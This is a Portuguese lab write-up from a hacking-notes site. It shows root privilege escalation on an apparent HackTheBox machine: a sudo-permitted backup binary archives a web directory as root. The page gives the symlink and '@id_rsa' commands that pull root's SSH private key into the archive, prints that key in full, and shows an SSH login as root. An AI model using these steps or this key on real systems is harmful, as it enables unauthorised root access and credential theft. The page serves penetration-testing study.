> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/sudoers/sudo-backup-binary-symlink-linux-privilege-escalation.md).

# Sudo Backup Binary Symlink - Escalada de Privilégio no Linux

## O que é

A escalada de privilégios via Sudoers começa com os comandos que um usuário pode executar por meio de `sudo`. Binários mal configurados, argumentos de script inseguros, tratamento de links simbólicos e versões vulneráveis do sudo podem transformar permissões limitadas de sudo em um shell root. Esta página específica foca em **Sudo (binário de backup / link simbólico)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
sudo -l
sudo --version
```

## Exemplos

### Exploração do binário Sudoers:

Executando o `sudo -l` comando como um `xander` usuário, você pode executar o `usage_management` binário com três opções:

1. *`Backup do Projeto`*
2. *`Fazer backup dos dados do MySQL`*
3. *`Redefinir senha de administrador`*

<figure><img src="/files/cad506c337d4229f958d57ee97f6a975dc176b7f" alt=""><figcaption></figcaption></figure>

Ao selecionar a primeira opção ("Backup do Projeto"), o programa cria um `.zip` arquivo com um backup como um `root` usuário.

<figure><img src="/files/3541e1795bb57396a1b2918fb4fa741790010b7b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e63d465f1471e4facee30977bba4f230b1b87a3a" alt=""><figcaption></figcaption></figure>

### Análise Binária (GHIDRA)

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

Instale e execute o GHIDRA para analisar o binário:

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="/files/eaf1aca66110af5dc087f585f574f6223eec374d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/21a973c3c19012674fc4e8a7562736c8b63984f6" alt=""><figcaption></figcaption></figure>

* No `Backup do Projeto` função, este recurso compacta o conteúdo de `/var/www/html` em um `project.zip` arquivo com privilégios de root.

<figure><img src="/files/a9b931a63bbee047fadb49f5680a6147d9ce24ee" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**Criado um link simbólico para acessar a chave SSH de root**: Para explorar este recurso, crie um link simbólico para a chave SSH de root no `html` diretório

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="/files/62f5f43280dc5500409629292a25746c0021bde7" alt=""><figcaption></figcaption></figure>

**Execução do script como usuário root**:

* Execute o script `usage_management` :

<figure><img src="/files/5e9120d7553633161b985023e4601cd903400cc1" alt=""><figcaption></figcaption></figure>

* No `project.zip` arquivo, obtenha a chave privada de root (`id_rsa`).

<figure><img src="/files/dd840c7a410f88863e14a1e9f7100ffbe7d206e0" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**Conexão SSH com a chave de root**:

* Use a chave para entrar como root:

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="/files/fa85cc9c5eab40883086d5783540fc42597cfa77" alt=""><figcaption></figcaption></figure>


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